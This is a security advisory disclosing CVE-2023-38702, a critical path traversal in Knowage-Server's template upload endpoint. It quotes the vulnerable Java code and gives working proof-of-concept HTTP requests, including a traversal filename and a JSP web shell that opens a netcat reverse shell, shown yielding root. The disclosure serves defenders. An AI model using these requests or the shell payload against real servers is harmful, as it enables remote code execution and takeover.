Skip to content

Path traversal in upload functionalities

Critical
davide-zerbetto published GHSA-7mjh-73q3-c3fc Aug 1, 2023

Package

KnowageLabs / Knowage-Server (Knowage)

Affected versions

6.x.x, 7.x.x, 8.0.x, < 8.1.8

Patched versions

8.1.8

Description

The /knowage/restful-services/dossier/importTemplateFile endpoint allows authenticated users to upload "templates" on the server, but does not need any authorization to be reached.

Also, this endpoint does not check the type of the file that is uploaded by the user, and does not properly handle the filename provided. In fact, the filename is directly appended to the location of where the file will be written, allowing an attacker to perform a path traversal attack and place his file anywhere on the file system.

// knowage-core/src/main/java/it/eng/spagobi/api/DossierActivityResource.java
public Response importTemplateFile(MultiPartBody multipartFormDataInput) throws JSONException {
    byte[] archiveBytes = null;
    JSONObject response = new JSONObject();
    try {
        String separator = File.separator;
        final FormFile file = multipartFormDataInput.getFormFileParameterValues("file")[0];
        String fileName = file.getFileName();
        archiveBytes = file.getContent();
        // [...]
        File f = new File(SpagoBIUtilities.getResourcePath() + separator + "dossier" + separator + fileName);
        FileOutputStream outputStream = new FileOutputStream(f);
        outputStream.write(archiveBytes);
        outputStream.close();

By performing the following HTTP request against the application, a file called poc will be written into the /tmp directory of the underlying server.

POST /knowage/restful-services/dossier/importTemplateFile HTTP/1.1
Host: 127.0.0.1:8088
Cookie: JSESSIONID=C21D8A4676D617862E020548CC3C7518; kn.lang=en-US
Content-Length: 211
Content-Type: multipart/form-data; boundary=d7fe18eaf5c6958f3e8723a6ca89c392

--d7fe18eaf5c6958f3e8723a6ca89c392
Content-Disposition: form-data; name="file"; filename="../../../../../../../../tmp/poc"
Content-Type: image/png

synacktiv was here.
--d7fe18eaf5c6958f3e8723a6ca89c392--

HTTP/1.1 200 
Date: Mon, 27 Jun 2022 17:56:34 GMT
[...]

{"STATUS":"OK"}
root@1f7ab7904524: /# cat /tmp/poc
synacktiv was here.

Impact

By exploiting this vulnerability, an attacker with low privileges can upload a JSP file to the knowageqbeengine directory and gain code execution capability on the server.

POST /knowage/restful-services/dossier/importTemplateFile HTTP/1.1
[...]

--d7fe18eaf5c6958f3e8723a6ca89c392
Content-Disposition: form-data; name="file"; filename="../../../../../../../../home/knowage/apache-tomcat/webapps/knowageqbeengine/foo.jsp"
Content-Type: image/png

<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%Runtime.getRuntime().exec("nc -c sh 127.0.0.1 1337");%>

--d7fe18eaf5c6958f3e8723a6ca89c392--

HTTP/1.1 200 
[...]

{"STATUS":"OK"}

When the JSP file is uploaded, the attacker just needs to connect to /knowageqbeengine/foo.jsp to gain code execution on the server.

$ curl http://127.0.0.1:8088/knowageqbeengine/foo.jsp
[...]
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 56678
id
uid=0(root) gid=0(root) groups=0(root)

Patches

You need to upgrade to Knowage 8.1.8 or a later version.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2023-38702

Weaknesses

No CWEs

Credits